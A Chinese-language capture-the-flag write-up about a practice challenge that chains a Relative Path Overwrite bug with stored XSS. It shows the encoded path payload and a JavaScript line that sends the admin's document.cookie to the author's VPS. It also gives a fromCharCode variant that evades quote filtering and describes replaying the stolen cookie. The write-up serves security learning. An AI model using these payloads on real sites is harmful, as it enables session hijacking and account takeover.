RPO练习题WP
前一阵强网杯出了道有关rpo的题目,乘热打铁,k0rz3n师傅自己给我们出了道题目,让我们练练手
进入页面是一个bot自动提交的输入框和一个评论区入口
扫描一下目录我们还发现一个login.php
进去一看,是个登录框,随便输入用户名和密码
返回
显然我们是要获取管理员的cookie了
进入评论区看看,发现我们可以在评论区上评论
尝试插入<script>alert(1)</script>
访问http://ctf.k0rz3n.com/index.php/users/1/html/4
,返回了我们输入的内容,查看源代码发现<>
被实体编码了<script>alert(1);</script>gt;
想到之前做过的一道xss,利用unicode去绕过实体编码,于是尝试着用unicode编码去绕过,发现依然没有什么效果
于是,我们再往回看,查看index.php
的源代码,看到一个相对路径引用
这里存在RPO漏洞
RPO是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过构造我们可以通过相对路径来引入其他的文件,已达成我们想要的目的
我们来看一下这题的payloadhttp://ctf.k0rz3n.com/index.php/users/6/html/2/..%2f..%2f..%2f..%2f..%2findex.php
对于php而言,他获得的请求是url解码后的,%2f
会被加码为/
,apache和nginx会按照目录的方式来返回我们请求的资源。
对于payload,也就相当于访问http://ctf.k0rz3n.com/index.php/users/6/html/2/../../../../../index.php
向上跳了五层,依然会去访问index.php
并同时去加载./js/jquery-3.2.1.min.js
但是服务端和客户端之间产生了差异,浏览器在寻找js资源的时候,并没有对%2f
进行解码,就认为..%2f..%2f..%2f..%2f..%2findex.php
是一段数据,但是有没有人来接受这段数据,相当于没有用,所以返回的资源还是http://ctf.k0rz3n.com/index.php/users/6/html/2/
,也就是它当作了js来解析
利用这一点,我们就可以结合xss来攻击了
首先尝试着输入alert(1)
,访问http://ctf.k0rz3n.com/index.php/users/3/html/1/..%2f..%2f..%2f..%2f..%2findx.php
发现成功弹框
接着再尝试输入alert('xss')
发现单引号没有被过滤(经过测试,双引号被过滤了),可以利用
于是构造(new Image()).src = 'http://vpsip:port?'+document.cookie
打开vps端口监听
将http://ctf.k0rz3n.com/index.php/users/6/html/..%2f..%2f..%2f..%2f..%2findex.php
提交给bot
vps上接受到请求包
成功获取cookie
然后我们访问http://ctf.k0rz3n.com/login.php
并抓包,添加上我们获取到的cookie,发送出去,成功得到flag
这里再补充一下,如果单引号也被过滤了,我们还可以使用fromCharCode进行绕过处理(new Image()).src = String.fromCharCode(104,116,116,112,58,47,47,49,46,49,46,49,46,49,58,50,51,51,51,47)+document.cookie;